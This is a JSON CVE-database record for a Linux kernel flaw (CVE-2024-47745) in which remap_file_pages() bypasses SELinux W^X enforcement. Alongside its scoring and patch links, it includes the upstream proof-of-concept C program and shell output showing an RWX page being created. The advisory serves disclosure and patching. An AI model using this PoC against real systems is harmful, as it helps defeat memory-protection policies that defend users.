{"id":"CVE-2024-47745","url":"https://www.cyber-defence.io/tools/cve/CVE-2024-47745","generatedAt":"2026-10-28T05:58:28.076Z","title":"In the Linux kernel, the following vulnerability has been resolved: mm: call the security_mmap_file() LSM hook in remap_file_pages() The remap_file_pages syscall handler calls do_mmap() directly, which doesn't contain the LSM security check.","description":"In the Linux kernel, the following vulnerability has been resolved:\n\nmm: call the security_mmap_file() LSM hook in remap_file_pages()\n\nThe remap_file_pages syscall handler calls do_mmap() directly, which\ndoesn't contain the LSM security check. And if the process has called\npersonality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for\nRW pages, this will actually result in remapping the pages to RWX,\nbypassing a W^X policy enforced by SELinux.\n\nSo we should check prot by security_mmap_file LSM hook in the\nremap_file_pages syscall handler before do_mmap() is called. Otherwise, it\npotentially permits an attacker to bypass a W^X policy enforced by\nSELinux.\n\nThe bypass is similar to CVE-2016-10044, which bypass the same thing via\nAIO and can be found in [1].\n\nThe PoC:\n\n$ cat > test.c\n\nint main(void) {\n\tsize_t pagesz = sysconf(_SC_PAGE_SIZE);\n\tint mfd = syscall(SYS_memfd_create, \"test\", 0);\n\tconst char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,\n\t\tMAP_SHARED, mfd, 0);\n\tunsigned int old = syscall(SYS_personality, 0xffffffff);\n\tsyscall(SYS_personality, READ_IMPLIES_EXEC | old);\n\tsyscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0);\n\tsyscall(SYS_personality, old);\n\t// show the RWX page exists even if W^X policy is enforced\n\tint fd = open(\"/proc/self/maps\", O_RDONLY);\n\tunsigned char buf2[1024];\n\twhile (1) {\n\t\tint ret = read(fd, buf2, 1024);\n\t\tif (ret <= 0) break;\n\t\twrite(1, buf2, ret);\n\t}\n\tclose(fd);\n}\n\n$ gcc test.c -o test\n$ ./test | grep rwx\n7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)\n\n[PM: subject line tweaks]","published":"2024-10-21T13:15:05.000Z","lastModified":"2026-08-04T11:20:48.000Z","status":"Modified","sourceIdentifier":"416baaa9-dc9f-4396-8d5f-8c081fb06d67","cvss":{"version":"3.1","score":7.8,"severity":"HIGH","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},"cwe":["CWE-670"],"affected":["debian/debian linux","linux/linux kernel"],"epss":{"score":0.00286,"percentile":0.20984,"date":"2026-10-27","history":[]},"kev":{"listed":false},"exploits":{"count":0,"verified":false,"firstPublished":null,"source":"Exploit-DB (https://gitlab.com/exploit-database/exploitdb)","entries":[]},"verdict":{"level":"high","text":"High impact if exploited, but EPSS currently rates exploitation as unlikely (0.29%). Schedule it in the normal patch cycle and watch for a rise in EPSS or a public exploit."},"changes":[],"references":[{"url":"https://git.kernel.org/stable/c/0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1","tags":["Patch"],"source":"416baaa9-dc9f-4396-8d5f-8c081fb06d67"},{"url":"https://git.kernel.org/stable/c/3393fddbfa947c8e1fdcc4509226905ffffd8b89","tags":["Patch"],"source":"416baaa9-dc9f-4396-8d5f-8c081fb06d67"},{"url":"https://git.kernel.org/stable/c/49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178","tags":["Patch"],"source":"416baaa9-dc9f-4396-8d5f-8c081fb06d67"},{"url":"https://git.kernel.org/stable/c/ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3","tags":["Patch"],"source":"416baaa9-dc9f-4396-8d5f-8c081fb06d67"},{"url":"https://git.kernel.org/stable/c/ea7e2d5e49c05e5db1922387b09ca74aa40f46e2","tags":["Patch"],"source":"416baaa9-dc9f-4396-8d5f-8c081fb06d67"},{"url":"https://lists.debian.org/debian-lts-announce/2025/03/msg00001.html","tags":["Mailing List","Third Party Advisory"],"source":"af854a3a-2127-422b-91ae-364da2661108"}],"sources":{"nvd":"https://nvd.nist.gov/vuln/detail/CVE-2024-47745","epss":"https://www.first.org/epss/","kev":"https://www.cisa.gov/known-exploited-vulnerabilities-catalog","exploitdb":"https://www.exploit-db.com/"},"licence":"CC BY 4.0 — link back to the CVE Explorer if you publish the results; upstream data remains subject to its own terms."}